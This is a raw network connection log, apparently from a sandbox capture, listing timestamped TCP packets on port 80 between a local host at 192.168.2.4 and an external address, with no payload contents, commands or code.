Dec 19, 2023 03:22:23.083055973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.083103895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.083169937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.083211899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.083282948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.083312988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.083364964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.083451033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.083503962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.083632946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.083852053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.083951950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.083988905 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.084065914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084139109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084146976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.084192991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084290028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084372044 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.084378958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084428072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.084462881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084566116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084645987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084731102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084734917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.084770918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.084803104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084893942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.084965944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085002899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.085069895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085159063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.085164070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085278988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085318089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.085423946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085530043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085613012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085649967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.085696936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085778952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085814953 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.085867882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.085902929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.085944891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086004972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086040974 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.086117029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086209059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086247921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.086276054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086364031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086451054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086493015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.086522102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086620092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086657047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.086699963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086735964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.086879969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.086976051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087013960 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.087057114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087143898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087182045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.087235928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087335110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087416887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087454081 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.087506056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087620020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087661028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.087697029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087733030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.087790012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087872028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.087909937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.087944031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088064909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088100910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.088257074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088339090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088411093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088445902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.088516951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088608980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088650942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.088694096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088735104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.088799000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088881969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.088922977 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.088968992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089066029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089102983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.089145899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089227915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089318037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089353085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.089396000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089476109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089512110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.089565992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089643955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089682102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.089724064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.089760065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.089998960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090240002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090271950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.090331078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090400934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090455055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090497971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.090572119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090647936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.090651989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090718031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090801954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090838909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.090888977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.090965033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.090970993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091037989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091135025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091144085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.091218948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091264963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.091315985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091387987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091464043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.091487885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091556072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091593981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.091641903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091717005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091773987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.091804028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.091927052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092017889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092019081 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.092084885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092171907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.092176914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092308998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092398882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092412949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.092480898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092551947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.092561960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092645884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092695951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.092741966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092842102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092924118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.092988968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.093008995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093045950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.093075991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093174934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093277931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.093281031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093430042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093472958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.093522072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093596935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093638897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.093688011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093760014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093799114 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.093842030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093929052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.093986988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.094027996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094094992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094137907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.094166994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094253063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094300032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.094337940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094417095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094504118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094589949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.094593048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094640970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.094659090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094748974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094840050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094871998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.094918966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.094995975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095001936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.095082045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095151901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095170021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.095256090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095304966 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.095382929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095459938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095501900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.095546007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095643044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095693111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.095705986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095849037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.095890045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.095959902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096033096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096081018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.096127987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096230984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096267939 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.096338034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096409082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096446991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.096493006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096584082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096621990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.096671104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096755981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.096992970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097031116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.097064018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097124100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097161055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.097238064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097273111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.097305059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097381115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097418070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.097516060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097584009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097620010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.097677946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097779989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097860098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.097898006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.097923994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098017931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098053932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.098105907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098141909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.098206043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098284006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098320007 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.098373890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098474979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098511934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.098601103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098686934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098764896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098804951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.098849058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098931074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.098968029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.099018097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099056005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.099098921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099173069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099210024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.099276066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099355936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099392891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.099423885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099551916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099647999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099687099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.099709988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099843979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099881887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.099900961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.099986076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.100014925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100074053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100116968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.100188017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100279093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100322962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.100402117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100516081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100632906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100675106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.100743055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100804090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100847006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.100920916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.100955009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.101032019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101094961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101161003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101172924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.101234913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101274014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.101320028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101388931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101469040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101496935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.101548910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101654053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101689100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.101731062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101835012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.101838112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.101985931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.102065086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.102067947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.102216959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.102258921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.102473974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.102545977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.102586031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.102632999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.102708101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.102761984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.102791071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.102876902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.102916002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.102948904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103037119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103080988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.103127003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103262901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103306055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.103348017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103456020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103529930 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.103548050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103696108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103759050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.103782892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103852034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.103908062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.103959084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104051113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104129076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.104170084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104216099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104302883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104374886 CET	49738	80	192.168.2.4	91.215.85.17
